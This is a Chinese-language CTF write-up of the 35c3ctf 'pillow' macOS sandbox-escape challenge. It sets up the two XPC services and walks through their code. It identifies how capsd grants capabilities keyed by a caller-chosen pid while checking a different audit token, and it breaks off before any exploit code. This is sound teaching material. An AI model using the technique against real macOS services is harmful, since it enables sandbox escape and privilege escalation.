35c3ctf pillow Writeup

一、简介

  • pillow,是 35c3ctf 中的一道关于 macOS bootstrap Service 沙箱逃逸题目。本人将通过学习这一题来进一步了解Mac OSX XPC 和 Sandbox 机制。

  • 该题中包含了两个自定义 macOS 系统服务。要求攻击者劫持两个 XPC 服务之间的 IPC 连接,以达到沙箱逃逸的目的。

  • 题目链接 : pillow - 35c3ctf github

二、环境搭建

在 MacOS 环境下:

  • 编译(可以提前在 Makefile 中添加 -g -O0 编译标志)

    1
    2
    3
    4
    5
    git clone git@github.com:saelo/35c3ctf.git
    cd 35c3ctf/pillow/capsd
    make
    cd ../shelld
    make
  • 使用 launchd 启动编译出的两个服务

    • 首先,修改 distrib/System/Library/LaunchDaemons/ 中的两个 plist, 将文件中的 Program 条目替换成两个 XPC service 编译出的路径。诸如:

      1
      2
      3
      4
      [...]
      <key>Program</key>
      <string>/Users/kiprey/Desktop/CTF/35c3ctf/pillow/capsd/capsd</string>
      [...]
    • 之后,令 launchd 启动这两个服务

      1
      2
      sudo chown root:wheel pillow/distrib/System/Library/LaunchDaemons/*.plist
      sudo launchctl bootstrap system pillow/distrib/System/Library/LaunchDaemons/*.plist
    • 如果要关闭服务则可以执行

      1
      sudo launchctl bootout system pillow/distrib/System/Library/LaunchDaemons/*.plist

    可以通过 log show --predicate 'processID == 1' --last 1h 来查看 launchd 的输出信息。

  • 配置执行 exploit 程序环境

    题目已经说明 exploit 位于沙箱中,因此这里也模拟一下。

    • 首先找到 exploit 所使用的沙箱配置文件,这个文件位于 pillow/exploit/exploit.sb

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      (version 1)
      (deny default)

      (import "system.sb")

      ; TODO enter correct path here
      (allow process-exec (literal (param "EXPLOIT_BIN")))
      (allow process-fork)

      (allow mach-lookup (global-name "net.saelo.shelld"))
      (allow mach-lookup (global-name "net.saelo.capsd"))
      (allow mach-lookup (global-name "net.saelo.capsd.xpc"))

      这里的沙箱配置只允许 forkexec exploit 以及 mach lookup 题目所提供的三个服务。

    • 之后使用以下命令执行 exploit

      1
      2
      # 注:传入的 EXPLOIT_BIN 路径必须为 **绝对** 路径
      sandbox-exec -f ./exploit.sb -D EXPLOIT_BIN=/Users/kiprey/Desktop/CTF/35c3ctf/pillow/exploit/myexploit ./myexploit

      这样,一个不符合沙箱限制的操作将会被拒绝:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>

      int main() {
      printf("[+] Try running /bin/ls, this operation must be denied!\n");

      char path[] = "/bin/ls";
      char arg1[] = "/";
      char * const exec_argv [] = { path, arg1, NULL };
      char * const exec_env [] = { NULL };
      execve(path, exec_argv, exec_env);

      perror("myexploit-execve");
      exit(EXIT_FAILURE);
      }

      运行结果:

      image-20220108155133031

  • 设置 flag 类型,使普通用户不可读(可选),这一步只是做个简单的测试,没有什么实际意义

    1
    2
    sudo chown root:wheel ./flag
    sudo chmod 640 ./flag

    但需要注意的是,被 launchd 启动的守护进程是可以读取这个高权限 flag 的

    以下是用于验证的代码:

    1
    2
    3
    4
    FILE* flag = fopen("/Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag", "r");
    char buf[100];
    size_t len = fread(buf, 1, sizeof(buf), flag);
    os_log(OS_LOG_DEFAULT, "flag read len: %zu, flag: [%{public}s]", len, buf);

    日志输出:

    image-20220106234900069

三、代码研究

1. capsd

我们首先简单看看 MIG 中的接口。

a. capsd.defs

代码很短:

1
2
3
4
5
6
7
8
9
10
11
12
subsystem capsd 733100;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:1024];

routine grant_capability(server: mach_port_t; ServerAuditToken token: audit_token_t; target: audit_token_t; operation: string; arg: string);
routine has_capability(server: mach_port_t; pid: int; operation: string; arg: string; out result: int);

可以看到这里只定义了两个函数 grant_capabilityhas_capability 函数。这两个函数可以被 Client 远程调用至 Server 上的实现。

b. capsd.c

1) capsd main 函数
  • 初始时,capsd 会先输出一条信息,以说明当前守护进程已经开始执行:

    1
    os_log(OS_LOG_DEFAULT, "net.saelo.capsd starting");

    但这条信息并没有那么方便读取到。我们首先得先从 launchd 的日志中获取到 capsd 的 pid 号:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    $ log show --predicate 'processID == 0' --last 1h | grep "capsd"

    [...]

    2022-01-05 17:00:03.199483+0800 0x7c716 Default 0x0 1 0 launchd: [net.saelo.capsd:] This service is defined to be constantly running and is inherently inefficient.
    2022-01-05 17:00:03.199525+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] internal event: WILL_SPAWN, code = 0
    2022-01-05 17:00:03.199537+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] service state: spawn scheduled
    2022-01-05 17:00:03.199539+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] service state: spawning
    2022-01-05 17:00:03.199626+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd:] launching: speculative
    2022-01-05 17:00:03.200004+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] xpcproxy spawned with pid 32099
    2022-01-05 17:00:03.200033+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: SPAWNED, code = 0
    2022-01-05 17:00:03.200035+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] service state: xpcproxy
    2022-01-05 17:00:03.200138+0800 0x7c716 Default 0x0 1 0 launchd: [system:] Bootstrap by launchctl[32098] for /Users/kiprey/Desktop/CTF/35c3ctf/pillow/distrib/System/Library/LaunchDaemons/net.saelo.capsd.plist succeeded (0: )
    2022-01-05 17:00:03.200197+0800 0x7c716 Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: SOURCE_ATTACH, code = 0
    2022-01-05 17:00:03.202699+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] service state: running
    2022-01-05 17:00:03.202725+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] internal event: INIT, code = 0
    2022-01-05 17:00:03.202730+0800 0x7c8af Default 0x0 1 0 launchd: [system/net.saelo.capsd [32099]:] Successfully spawned capsd[32099] because speculative

    我们可以很容易的获取到 capsd 的 pid 为 32099,因此我们继续执行以下命令来查看该程序的 log:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    $ log show --predicate 'processID == 32099' --last 1h

    Filtering the log data using "processIdentifier == 32099"
    Skipping info and debug messages, pass --info and/or --debug to include.
    Timestamp Thread Type Activity PID TTL
    2022-01-05 17:00:03.205538+0800 0x7c8bc Default 0x0 32099 0 capsd: net.saelo.capsd starting
    --------------------------------------------------------------------------------------------------------------------
    Log - Default: 1, Info: 0, Debug: 0, Error: 0, Fault: 0
    Activity - Create: 0, Transition: 0, Actions: 0

    可以看到成功读取到 capsd 的输出。

  • 接下来,capsd 会使用默认参数,生成一个 空的 CFDictionary 字典

    1
    capabilities_by_pid = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    需要注意的是,这个字典是全局变量,因此它会在其他上下文中被使用。

  • 之后,capsd 获取 bootstrap port,并把反向 DNS 样式的名称 “net.saelo.capsd” 注册进 bootstrap 中,以备其他进程所使用:

    1
    2
    3
    4
    5
    mach_port_t bootstrap_port, service_port;
    task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);

    kr = bootstrap_check_in(bootstrap_port, "net.saelo.capsd", &service_port);
    ASSERT_MACH_SUCCESS(kr, "bootstrap_check_in");

    接下来这步稍微复杂了一点,它指定 capsd_server 函数来处理 service_port 中即将到来的 mach message,即将 service_port 中的事件分发到 capsd_server 中进行处理;之后开始异步执行 mach 事件分发操作:

    需要注意的是这里使用 MIG 来生成其余的 mach 信息交互代码,隐藏了 Mach 通信的内部细节。

    1
    2
    3
    4
    5
    6
    7
    dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

    dispatch_source_set_event_handler(source, ^{
    dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
    });

    dispatch_resume(source);
  • capsd 除了建立 mach message server 以外,它还建立了一个 XPC Service:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    // Set up XPC service
    xpc_connection_t service = xpc_connection_create_mach_service("net.saelo.capsd.xpc", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
    xpc_connection_set_target_queue(service, dispatch_get_main_queue());

    xpc_connection_set_event_handler(service, ^(xpc_object_t connection) {
    if (xpc_get_type(connection) == XPC_TYPE_CONNECTION) {
    xpc_connection_set_target_queue(connection, dispatch_get_main_queue());
    xpc_connection_set_event_handler(connection, ^(xpc_object_t msg) {
    [XPC_message_event_handler]
    });
    xpc_connection_resume(connection);
    } else {
    char* description = xpc_copy_description(connection);
    os_log(OS_LOG_DEFAULT, "Received unexpected event: %{public}s\n", description);
    free(description);
    }
    });
    xpc_connection_resume(service);

    这个 XPC Service 实际处理 XPC message 的方式如下所示。

    根据代码描述可以得知,传入的 XPC Message 应该是一个字典类型 xpc_dictionary,且有 action(uint64_t)、pid(int64_t)、operation (string)以及 argument(string) 四个 key 值。而返回给调用方的是一个只有 success 键值对的字典。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    if (xpc_get_type(msg) == XPC_TYPE_DICTIONARY) {
    xpc_object_t reply = xpc_dictionary_create_reply(msg);
    if (!reply)
    return;

    int action = xpc_dictionary_get_uint64(msg, "action");

    if (action == ACTION_GRANT_CAPABILITY) {
    audit_token_t creds;
    // TODO check xpc_dictionary_set_audit_token
    xpc_dictionary_get_audit_token(msg, &creds);
    pid_t target = xpc_dictionary_get_int64(msg, "pid");
    const char* operation = xpc_dictionary_get_string(msg, "operation");
    const char* argument = xpc_dictionary_get_string(msg, "argument");

    if (operation && argument) {
    xpc_dictionary_set_bool(reply, "success", grant_capability_internal(creds, target, operation, argument) == KERN_SUCCESS);
    } else {
    xpc_dictionary_set_bool(reply, "success", false);
    }
    } else if (action == ACTION_HAS_CAPABILITY) {
    pid_t target = xpc_dictionary_get_int64(msg, "pid");
    const char* operation = xpc_dictionary_get_string(msg, "operation");
    const char* argument = xpc_dictionary_get_string(msg, "argument");
    xpc_dictionary_set_bool(reply, "success", has_capability_internal(target, operation, argument));
    } else {
    xpc_dictionary_set_bool(reply, "success", false);
    }

    xpc_connection_send_message(connection, reply);
    } else {
    if (xpc_get_type(msg) != XPC_TYPE_ERROR || msg != XPC_ERROR_CONNECTION_INVALID) {
    char* description = xpc_copy_description(msg);
    os_log(OS_LOG_DEFAULT, "Received unexpected event on connection: %{public}s\n", description);
    free(description);
    }
    }

    handler 会根据传入的 xpc 请求来进行不同的操作:获取权限查看当前是否有权限

    这里记录下 handler 调用的两个函数:grant_capability_internalhas_capability_internal

2) has/grand_capability 函数

has_capabilitygrand_capability 函数没有在 capsd.c 中直接调用,它们是先前声明的 MIG 远程调用接口的实现。

可以看到,最终这两个函数也是调用上面刚刚提到的 *_internal 函数,因此实际上 capsd 中的 mach server 和 xpc service 最终提供给 client 的接口都是这两个接口,一模一样。

1
2
3
4
5
6
7
8
kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return grant_capability_internal(token, target, op, arg);
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = has_capability_internal(pid, op, arg);
return KERN_SUCCESS;
}
3) get_or_create_capabilities_for_pid 函数

该函数是两个 internal 函数的辅助函数。还记得先前提到的一个在 main 函数进行初始化字典类型全局变量 capabilities_by_pid 么?这里将会对它进行查询或添加操作。

这个函数代码很短,先把代码贴出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
CFMutableDictionaryRef get_or_create_capabilities_for_pid(pid_t pid) {
// Check if the process exists. This is racy though...
if (kill(pid, 0) != 0 && errno == ESRCH) {
return NULL;
}
// 创建一个 CFNumber 类型的 key 值引用,且该值初始化为传入的 pid
CFNumberRef key = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
// 创建一个 CF 字典类型的引用,注意这只是一个引用
CFMutableDictionaryRef capabilities;
/* 判断:这个 key 值是否已经在 capabilities_by_pid 字典中了(即先前是否已经添加过该 pid 了)
如果存在,则将该 key 值所对应的 value (也是一个字典类型的值)的引用存入 capabilities 变量中 */
if (!CFDictionaryGetValueIfPresent(capabilities_by_pid, key, (const void**)&capabilities)) {
// 如果发现该 pid 不存在与全局字典中,则手动建立一个 value
capabilities = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
// 并将该 key value 键值对存入全局字典里
CFDictionaryAddValue(capabilities_by_pid, key, capabilities);
CFRelease(capabilities);
// 这里稍微有点难懂,不过整体的意思是,注册一个 handler,当子进程退出时,自动释放那些存入的键值对
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
os_log(OS_LOG_DEFAULT, "cleaning up capabilities for dead client %d", pid);

CFDictionaryRemoveValue(capabilities_by_pid, key);

CFRelease(key);

dispatch_source_cancel(source);
dispatch_release(source);
});
dispatch_resume(source);
} else {
// 如果有,则无事发生,将取出来对应于该 pid 的 capabilities 字典返回给调用者
CFRelease(key);
}
// 总而言之,这里一定会返回一个全局字典中对应于传入 key 值的一个 value 字典
return capabilities;
}

初始时,该函数将判断传入的 pid 所在进程是否仍然存活。如果目标进程已经死亡,则没意义再创建一个 capability 字典了。

向某个进程发送 0 号信号时,不会发送任何信号,但是会进行错误检查。

这里的 ESRCH 是 进程不存在的错误代码。如果指定 pid 不存在则 kill -0 将会返回 ESRCH。

如果存活,则判断全局字典中是否存在目标 pid 的键值对。如果存在则将其 value 引用返回给调用者,否则新建一个**(pid, capabilities)键值对**,并将其插入至全局字典中,最后返回 value 的引用

4) grant_capability_internal 函数

grant_capability_internal 函数应该算是整个 capsd 的核心函数,不过代码也很短:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) {
// 向 sandbox 请求 token 所对应进程中,指定 op 和 arg 所请求的权限
if (sandbox_check_by_audit_token(token, op, SANDBOX_CHECK_NO_REPORT, arg, NULL, NULL, NULL) == 0) {
// 权限请求成功,则获取或创建一个对应于传入 pid 的 capabilities 字典
CFMutableDictionaryRef capabilities = get_or_create_capabilities_for_pid(target);
if (!capabilities)
return KERN_FAILURE;
// 将传入的 op 和 arg 全转换成 CFStringRef 形式
CFStringRef operation = CFStringCreateWithCString(kCFAllocatorDefault, op, kCFStringEncodingASCII);
CFStringRef argument = CFStringCreateWithCString(kCFAllocatorDefault, arg, kCFStringEncodingASCII);
// 尝试获取 capabilities 中,键 operation 对应的值 arguments 集合
CFMutableSetRef arguments;
if (!CFDictionaryGetValueIfPresent(capabilities, operation, (const void**)&arguments)) {
// 如果没有,则新建一个 arguments 集合,并将其插入进 capabilities中
arguments = CFSetCreateMutable(kCFAllocatorDefault, 0, &kCFTypeSetCallBacks);
CFDictionaryAddValue(capabilities, operation, arguments);
CFRelease(arguments);
}
// 将新的 arguments 插入进 capabilities 里 operation 键所对应的 arguments 集合中
CFSetSetValue(arguments, argument);

CFRelease(operation);
CFRelease(argument);
return KERN_SUCCESS;
} else {
return KERN_FAILURE;
}
}

在这里,我们已经可以理清所有使用到的数据结构:

  • Server 接收到的 XPC 消息结构

    1
    2
    3
    4
    5
    {
    "action" : ACTION_GRANT_CAPABILITY / ACTION_HAS_CAPABILITY,
    "operation" : "str type operation",
    "argument" : "str type argument"
    }
  • Server 返回的信息结构

    1
    2
    3
    {
    "success" : 0/1
    }
  • 全局字典 capabilities_by_pid 结构:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    {
    pid_1 : [
    operation_1 : [
    argument_1,
    argument_2,
    ...
    ],
    operation_2 : [
    argument_1,
    argument_2,
    ...
    ],
    ...
    ],
    pid_2 : [
    operation_1 : [
    argument_1,
    argument_2,
    ...
    ],
    operation_2 : [
    argument_1,
    argument_2,
    ...
    ],
    ...
    ],
    ...
    }

不过这不是重点。注意到 sandbox_check_by_audit_token 函数的第一个参数 token 是由 grant_capability_internal 函数传入的:

1
2
3
4
5
6
kern_return_t grant_capability_internal(audit_token_t token, pid_t target, const char* op, const char* arg) {
if (sandbox_check_by_audit_token(token, op, SANDBOX_CHECK_NO_REPORT, arg, NULL, NULL, NULL) == 0) {
...
}
...
}

而 grant_capability_internal 函数的第一个参数,是直接与信息发送方挂钩:

1
2
3
4
5
6
7
8
9
audit_token_t creds;
// TODO check xpc_dictionary_set_audit_token
xpc_dictionary_get_audit_token(msg, &creds);
...

if (...) {
xpc_dictionary_set_bool(reply, "success", grant_capability_internal(creds, ...) == KERN_SUCCESS);
}
...

因此,传入 grant_capability_internal 函数的 pid,只是起到了一个键的作用,真正用于判断 sandbox 的则是 audit token。正常情况下消息发送者的 pid 理应和发送请求中的 pid 相同(即发送者应该发送自己的 PID 给 service)。

最后再说明一下sandbox_check_by_audit_token 函数,这个函数几乎没有任何说明文档可供查阅:

  • 作用:检查某些操作是否允许在沙箱返回内执行,如果允许则返回 0,即 DECISION_ALLOW

  • 函数定义:

    1
    2
    extern int SANDBOX_CHECK_NO_REPORT;
    int sandbox_check_by_audit_token(audit_token_t token, const char* operation, int flags, ...);
  • 函数参数:

    • 通常 flags 为 SANDBOX_CHECK_NO_REPORT,这表示以静默方式检查沙箱权限,不输出任何信息
  • operation 指向一个 沙箱权限规则字符串(类似scheme的语言,因此 scheme 语法很有用),我们可以在 OSX Sandbox Rule Set 中获得更多有用的沙箱权限规则描述示例。

    • flags 后面 var_args 参数中的内容与 operation相关,例如:
    1
    2
    3
    4
    5
    // mach-lookup com.apple....
    int port_denied = sandbox_check(pid, "mach-lookup", SANDBOX_CHECK_NO_REPORT, "com.apple....");

    // file-read-data path/to/file
    int read_denied = sandbox_check(pid, "file-read-data", SANDBOX_CHECK_NO_REPORT, "path/to/file");

c. client.c

client 执行的操作很简单,此处略过说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, const char *argv[]) {
// 与 capsd 建立 xpc 连接
xpc_connection_t connection = xpc_connection_create_mach_service("net.saelo.capsd.xpc", NULL, 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
});
xpc_connection_resume(connection);

pid_t pid;
puts("Enter pid:");
scanf("%d", &pid);

printf("Adding capability 'process-exec*' for resource '/bin/bash' to process %d\n", pid);
// 创建 XPC 消息字典
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_uint64(msg, "action", ACTION_GRANT_CAPABILITY);
xpc_dictionary_set_int64(msg, "pid", pid);
xpc_dictionary_set_string(msg, "operation", "process-exec*");
xpc_dictionary_set_string(msg, "argument", "/bin/bash");
// 发送并等待 server 的返回信息
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, msg);
// 将返回信息输出
char* description = xpc_copy_description(reply);
printf("Reply: %s\n", description);

return 0;
}

运行效果:

image-20220108135557134

d. 功能

综合上面的代码,我们可以了解到,capsd 对 mach IPC 和 XPC 都提供了两个接口 grand_capabilityhas_capability

其中, grand_capability 函数会判断消息发送方请求的沙箱权限是否被允许,如果是,则将其添加进全局字典中。

grand 操作就指的是将请求的 op 和 args 添加进全局字典的这个操作,而并非实际分配了一个新权限。

若下一次有请求判断某个 pid 是否有特定的沙箱权限时(has_capability),capsd 只会检查全局字典中是否有先前所保存的 op 和 args,并根据检查结果返回。

接下来我们再看看 shelld。

2. shelld

a. shelld.defs

这里定义了4个接口,分别是 shelld_create_sessionshell_execregister_completion_listenerunregister_completion_listener。接口具体用法后面再说,干看 defs 也看不出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
subsystem shelld 133700;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:4096];

routine shelld_create_session(server: mach_port_t; name: string; ServerAuditToken token: audit_token_t);
routine shell_exec(server: mach_port_t; session: string; command: string; ServerAuditToken token: audit_token_t);
routine register_completion_listener(server: mach_port_t; session: string; listener: mach_port_t; ServerAuditToken token: audit_token_t);
routine unregister_completion_listener(server: mach_port_t; session: string; ServerAuditToken token: audit_token_t);

b. shelld_client.defs

定义了接口 shelld_client_notify,目测可能是 Server 用于通知 Client 的。

1
2
3
4
5
6
7
8
9
10
11
subsystem shelld_client 133800;

#include <mach/std_types.defs>
#include <mach/mach_types.defs>
#include <mach_debug/mach_debug_types.defs>

import "../common/types.h";

type string = c_string[*:4096];

routine shelld_client_notify(listener: mach_port_t; status: int; output: string);

c. shelld.c

1) shelld main 函数

main 函数做了以下几件事情:

  1. 创建了一个全局字典 sessions
  2. 创建一个权限为 rwxrwxrwx 的文件夹 /private/tmp/shelld
  3. 从 bootstrap 中获取到 capsd 所注册的 mach port,同时将自己的 mach port 注册进 bootstrap 中。
  4. 为自己的 mach port 设置 MIG 的处理例程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, const char *argv[]) {
kern_return_t kr;
mach_port_t bootstrap_port, service_port;

sessions = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

mkdir("/private/tmp/shelld", 0777);

task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);

kr = bootstrap_look_up(bootstrap_port, "net.saelo.capsd", &capsd_service_port);
ASSERT_KERN_SUCCESS(kr, "bootstrap_look_up");

kr = bootstrap_check_in(bootstrap_port, "net.saelo.shelld", &service_port);
ASSERT_KERN_SUCCESS(kr, "bootstrap_check_in");

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_server);
});

dispatch_resume(source);
dispatch_main();
exit(-1);
}
2) register_completion_listener 函数

该函数的作用比较简单,初始时将 sessions 全局字典中找出符合 session_name 和 client 的字典,并将传入的 listener 的 mach port 存入进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session) {
mach_port_deallocate(mach_task_self(), listener);
return KERN_FAILURE;
}

CFNumberRef value = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &listener);
CFDictionaryAddValue(session, CFSTR("listener"), value);
CFRelease(value);

return KERN_SUCCESS;
}

CFMutableDictionaryRef lookup_session(const char* name, audit_token_t client) {
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, name, kCFStringEncodingASCII);

CFMutableDictionaryRef session = NULL;
if (CFDictionaryGetValueIfPresent(sessions, key, (const void**)&session)) {
CFNumberRef cf_owner_pid = CFDictionaryGetValue(session, CFSTR("pid"));
int owner_pid;
ASSERT(CFNumberGetValue(cf_owner_pid, kCFNumberSInt32Type, &owner_pid));
if (owner_pid != audit_token_to_pid(client))
session = NULL;
}

CFRelease(key);

return session;
}

此时可以暂时确定 sessions 字典的结构为:

1
2
3
4
5
6
7
{
"session_name1" : {
"pid1" : "xxx",
"listener" : "<mach_port_t>"
},
[...]
}
3) unregister_completion_listener 函数

其行为与 register_completion_listener 相反,将 listener mach port 从 sessions 中移出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kern_return_t unregister_completion_listener(mach_port_t server, const char* session_name, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session)
return KERN_FAILURE;

return remove_listener(session);
}

kern_return_t remove_listener(CFMutableDictionaryRef session) {
CFNumberRef value;

if (CFDictionaryGetValueIfPresent(session, CFSTR("listener"), (const void**)&value)) {
mach_port_t listener;
ASSERT(CFNumberGetValue(value, kCFNumberSInt32Type, &listener));
mach_port_deallocate(mach_task_self(), listener);
CFDictionaryRemoveValue(session, CFSTR("listener"));
return KERN_SUCCESS;
} else {
return KERN_FAILURE;
}
}
4) shelld_create_session 函数

该函数主要是在全局字典 sessions 中创建一些结构体,具体的操作以注释的形式写入代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
kern_return_t shelld_create_session(mach_port_t server, const char* session_name, audit_token_t client) {
// 约束 session name 只能是字母或数字
for (const char* ptr = session_name; *ptr; ptr++) {
if (!isalnum(*ptr)) {
os_log(OS_LOG_DEFAULT, "shelld: denying invalid session name: %s", session_name);
return KERN_FAILURE;
}
}
// 不能重复创建相同名称的 session
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, session_name, kCFStringEncodingASCII);
if (CFDictionaryContainsKey(sessions, key)) {
os_log(OS_LOG_DEFAULT, "shelld: session already exists: %s", session_name);
CFRelease(key);
return KERN_FAILURE;
}
// 创建 session 字典,并将其添加进全局 sessions 中
CFMutableDictionaryRef session = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionaryAddValue(sessions, key, session);
// 将 audit token 对应的 pid 放入 session 字典中
pid_t pid = audit_token_to_pid(client);

CFNumberRef cf_pid = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pid);
CFDictionaryAddValue(session, CFSTR("pid"), cf_pid);
CFRelease(cf_pid);
// 为当前创建的 session 新建一个文件夹
char workdir[1024];
snprintf(workdir, sizeof(workdir), "/private/tmp/shelld/%s", session_name);
mkdir(workdir, 0777);

// Note: this is racy: the client could exit and spawn a priviliged process into its PID before the server
// gets here... Not too easy to exploit though from inside the sandbox so should be fine for a CTF :)
// 设置传入pid所对应进程结束时的清除操作
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
os_log(OS_LOG_DEFAULT, "shelld: cleaning up session for dead client %d", pid);

remove_listener(session);
CFDictionaryRemoveValue(sessions, key);

// TODO unlink directory here as well

CFRelease(session);
CFRelease(key);

dispatch_source_cancel(source);
dispatch_release(source);
});
dispatch_resume(source);

return KERN_SUCCESS;
}
5) shell_exec 函数

接下来的这个函数可谓是重头戏,需要好好说明一下。

  1. 初始时,shelld 会判断传入的 command 是否为空。这里的 command 将被接下来所创建的子进程所使用,使用效果为 system(command),因此 command 不能为空。

    1
    2
    if (!command || strlen(command) == 0)
    return KERN_FAILURE;
  2. 接下来,判断信息发送者是否有权限执行 /bin/bash,因为子进程会调用 /bin/bash。

    1
    2
    3
    4
    5
    // 判断传入的 creds 是否有权限执行 /bin/bash
    if (sandbox_check_with_capabilities(creds, "process-exec*", SANDBOX_CHECK_NO_REPORT, "/bin/bash")) {
    os_log(OS_LOG_DEFAULT, "shelld: denying request to sandboxed client %d\n", audit_token_to_pid(creds));
    return KERN_FAILURE;
    }

    其中的 sandbox_check_with_capabilities 函数的操作如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) {
    // 如果发送方本来就可以执行这个操作
    int result = sandbox_check_by_audit_token(creds, operation, flags, arg);
    if (result != 1) {
    // 则直接返回0 ,表示允许执行
    return result;
    }
    // 如果发送方不支持执行这个操作,则向 capsd 询问发送方之前是否请求了这个权限
    int client_has_capability = 0;
    pid_t pid = audit_token_to_pid(creds);
    has_capability(capsd_service_port, pid, operation, arg, &client_has_capability);
    // 如果 capsd 中的权限存在,即 client_has_capability ,则整个函数返回0,表示允许执行操作
    return !client_has_capability;
    }
  3. 之后,获取传入 session name 和 creds 所对应的 session,并创建一对管道。这对管道将用于重定向子进程的 stdout

    1
    2
    3
    4
    5
    6
    7
    // 获取当前 creds 所对应的 session
    CFMutableDictionaryRef session = lookup_session(session_name, creds);
    if (!session)
    return KERN_FAILURE;
    // 创建一堆 rw pipe,这对 pipe 将用于重定向子进程的 stdout
    int fds[2];
    ASSERT(pipe(fds) == 0);
  4. 接下来便是创建子进程,我们看看子进程做了什么工作:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    // 创建新进程
    int pid = fork();
    if (pid == 0) {
    // 在子进程中
    char* argv[] = {"/bin/bash", "-c", (char*)command, NULL};
